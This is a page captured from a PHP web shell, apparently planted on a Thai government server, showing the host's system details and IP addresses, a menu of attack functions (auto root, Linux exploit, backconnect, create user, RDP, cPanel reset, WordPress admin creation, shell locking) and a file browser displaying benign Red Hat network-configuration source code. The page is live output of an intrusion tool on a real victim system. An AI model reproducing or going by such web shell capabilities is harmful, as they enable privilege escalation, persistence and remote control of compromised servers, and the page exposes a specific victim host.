Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
system-config-network /
netconfpkg /
[ HOME SHELL ]
Name
Size
Permission
Action
conf
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
tui
[ DIR ]
drwxr-xr-x
Control.py
2.98
KB
-rw-r--r--
Control.pyc
2.13
KB
-rw-r--r--
Control.pyo
2.13
KB
-rw-r--r--
NCAliasList.py
387
B
-rw-r--r--
NCAliasList.pyc
1.03
KB
-rw-r--r--
NCAliasList.pyo
1.03
KB
-rw-r--r--
NCBackendHal.py
4.56
KB
-rw-r--r--
NCBackendHal.pyc
3.95
KB
-rw-r--r--
NCBackendHal.pyo
3.95
KB
-rw-r--r--
NCCallback.py
3.61
KB
-rw-r--r--
NCCallback.pyc
2.77
KB
-rw-r--r--
NCCallback.pyo
2.77
KB
-rw-r--r--
NCCompression.py
2.81
KB
-rw-r--r--
NCCompression.pyc
2.14
KB
-rw-r--r--
NCCompression.pyo
2.14
KB
-rw-r--r--
NCDevice.py
21.21
KB
-rw-r--r--
NCDevice.pyc
14.56
KB
-rw-r--r--
NCDevice.pyo
14.56
KB
-rw-r--r--
NCDeviceFactory.py
2.55
KB
-rw-r--r--
NCDeviceFactory.pyc
1.94
KB
-rw-r--r--
NCDeviceFactory.pyo
1.94
KB
-rw-r--r--
NCDeviceList.py
11.37
KB
-rw-r--r--
NCDeviceList.pyc
7.68
KB
-rw-r--r--
NCDeviceList.pyo
7.68
KB
-rw-r--r--
NCDialup.py
28.78
KB
-rw-r--r--
NCDialup.pyc
19.98
KB
-rw-r--r--
NCDialup.pyo
19.98
KB
-rw-r--r--
NCException.py
1.07
KB
-rw-r--r--
NCException.pyc
745
B
-rw-r--r--
NCException.pyo
745
B
-rw-r--r--
NCHardware.py
5.58
KB
-rw-r--r--
NCHardware.pyc
4.57
KB
-rw-r--r--
NCHardware.pyo
4.57
KB
-rw-r--r--
NCHardwareFactory.py
2.7
KB
-rw-r--r--
NCHardwareFactory.pyc
1.96
KB
-rw-r--r--
NCHardwareFactory.pyo
1.96
KB
-rw-r--r--
NCHardwareList.py
21.83
KB
-rw-r--r--
NCHardwareList.pyc
15.91
KB
-rw-r--r--
NCHardwareList.pyo
15.91
KB
-rw-r--r--
NCHost.py
1.63
KB
-rw-r--r--
NCHost.pyc
2.44
KB
-rw-r--r--
NCHost.pyo
2.44
KB
-rw-r--r--
NCHostsList.py
5.12
KB
-rw-r--r--
NCHostsList.pyc
4.2
KB
-rw-r--r--
NCHostsList.pyo
4.2
KB
-rw-r--r--
NCIPsec.py
9.6
KB
-rw-r--r--
NCIPsec.pyc
6.77
KB
-rw-r--r--
NCIPsec.pyo
6.77
KB
-rw-r--r--
NCIPsecList.py
5.14
KB
-rw-r--r--
NCIPsecList.pyc
4.32
KB
-rw-r--r--
NCIPsecList.pyo
4.32
KB
-rw-r--r--
NCProfile.py
2.17
KB
-rw-r--r--
NCProfile.pyc
3.07
KB
-rw-r--r--
NCProfile.pyo
3.07
KB
-rw-r--r--
NCProfileList.py
26.06
KB
-rw-r--r--
NCProfileList.pyc
14.86
KB
-rw-r--r--
NCProfileList.pyo
14.86
KB
-rw-r--r--
NCRoute.py
1.73
KB
-rw-r--r--
NCRoute.pyc
2.55
KB
-rw-r--r--
NCRoute.pyo
2.55
KB
-rw-r--r--
NCWireless.py
3.65
KB
-rw-r--r--
NCWireless.pyc
2.59
KB
-rw-r--r--
NCWireless.pyo
2.59
KB
-rw-r--r--
NC_functions.py
28.71
KB
-rw-r--r--
NC_functions.pyc
27.89
KB
-rw-r--r--
NC_functions.pyo
27.89
KB
-rw-r--r--
NCisdnhardware.py
12.96
KB
-rw-r--r--
NCisdnhardware.pyc
9.86
KB
-rw-r--r--
NCisdnhardware.pyo
9.86
KB
-rw-r--r--
__init__.py
1019
B
-rw-r--r--
__init__.pyc
259
B
-rw-r--r--
__init__.pyo
259
B
-rw-r--r--
exception.py
13.39
KB
-rw-r--r--
exception.pyc
12.1
KB
-rw-r--r--
exception.pyo
12.1
KB
-rw-r--r--
executil.py
1.34
KB
-rw-r--r--
executil.pyc
1.33
KB
-rw-r--r--
executil.pyo
1.33
KB
-rw-r--r--
gdt.py
11.46
KB
-rw-r--r--
gdt.pyc
10.71
KB
-rw-r--r--
gdt.pyo
10.71
KB
-rw-r--r--
ipcalc.py
2.83
KB
-rw-r--r--
ipcalc.pyc
3.13
KB
-rw-r--r--
ipcalc.pyo
3.13
KB
-rw-r--r--
log.py
3.34
KB
-rw-r--r--
log.pyc
4.11
KB
-rw-r--r--
log.pyo
4.11
KB
-rw-r--r--
transaction.py
9.63
KB
-rw-r--r--
transaction.pyc
8.24
KB
-rw-r--r--
transaction.pyo
8.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NCIPsecList.py
## Copyright (C) 2001-2005 Red Hat, Inc. ## Copyright (C) 2001-2005 Harald Hoyer <harald@redhat.com> ## This program is free software; you can redistribute it and/or modify ## it under the terms of the GNU General Public License as published by ## the Free Software Foundation; either version 2 of the License, or ## (at your option) any later version. ## This program is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## GNU General Public License for more details. ## You should have received a copy of the GNU General Public License ## along with this program; if not, write to the Free Software ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. #from netconfpkg import IPsecList_base # pylint: disable-msg=E0611 import os from netconfpkg.NCDeviceList import ConfDevices from netconfpkg.NCIPsec import IPsec from netconfpkg.NC_functions import (log, SYSCONFDEVICEDIR, getRoot, testFilename, IPSEC, unlink, OLDSYSCONFDEVICEDIR) from netconfpkg.gdt import Gdtlist, gdtlist_properties class IPsecList_base(Gdtlist): gdtlist_properties(IPsec) class IPsecList(IPsecList_base): def __init__(self): super(IPsecList, self).__init__() self.oldname = None def load(self): from netconfpkg.NCIPsec import ConfIPsec self.__delslice__(0, len(self)) devices = ConfDevices() for ipsec_name in devices: conf = ConfIPsec(ipsec_name) mtype = None # take a peek in the config file if conf.has_key("TYPE"): mtype = conf["TYPE"] if mtype != "IPSEC": continue log.log(5, "Loading ipsec config %s" % ipsec_name) ipsec = IPsec() ipsec.load(ipsec_name) self.append(ipsec) self.commit() self.setunmodified() def save(self): from netconfpkg.NCIPsec import ConfIPsec for ipsec in self: ipsec.save() self.commit() dirname = getRoot() + SYSCONFDEVICEDIR # # Remove old config files # try: mdir = os.listdir(dirname) except OSError, msg: raise IOError, 'Cannot save in ' \ + dirname + ': ' + str(msg) for entry in mdir: if not testFilename(dirname + entry): continue if (len(entry) <= 6) or \ entry[:6] != 'ifcfg-': continue ipsecid = entry[6:] for ipsec in self: if ipsec.IPsecId == ipsecid: break else: # check for IPSEC conf = ConfIPsec(ipsecid) mtype = None if conf.has_key("TYPE"): mtype = conf["TYPE"] if mtype != IPSEC: continue unlink(dirname + entry) unlink(getRoot() + OLDSYSCONFDEVICEDIR + \ '/ifcfg-' + ipsecid) # # Remove old key files # try: mdir = os.listdir(dirname) except OSError, msg: raise IOError, 'Cannot save in ' \ + dirname + ': ' + str(msg) for entry in mdir: if not testFilename(dirname + entry): continue if (len(entry) <= 5) or \ entry[:5] != 'keys-': continue ipsecid = entry[5:] for ipsec in self: if ipsec.IPsecId == ipsecid: break else: # check for IPSEC from netconfpkg.NCDevice import ConfDevice conf = ConfDevice(ipsecid) mtype = None if conf.has_key("TYPE"): mtype = conf["TYPE"] if mtype: continue unlink(dirname + entry) unlink(getRoot() + OLDSYSCONFDEVICEDIR+'/keys-'+ipsecid) self.commit() self.setunmodified() def __repr__(self): return repr(self.__dict__) def _objToStr(self, parentStr = None): # pylint: disable-msg=W0613 retstr = "" for ipsec in self: # pylint: disable-msg=W0212 retstr += ipsec._objToStr("IPsecList.%s" % (ipsec.IPsecId)) return retstr def fromstr(self, vals, value): # pylint: disable-msg=W0212 if len(vals) <= 1: return if vals[0] == "IPsecList": del vals[0] else: return for ipsec in self: if ipsec.IPsecId == vals[0]: ipsec.fromstr(vals[1:], value) return ipsec = IPsec(vals[0]) self.append(ipsec) ipsec.fromstr(vals[1:], value) __IPSList = None def getIPsecList(refresh = None): # pylint: disable-msg=W0603 global __IPSList if __IPSList == None or refresh: __IPSList = IPsecList() __IPSList.load() return __IPSList
Close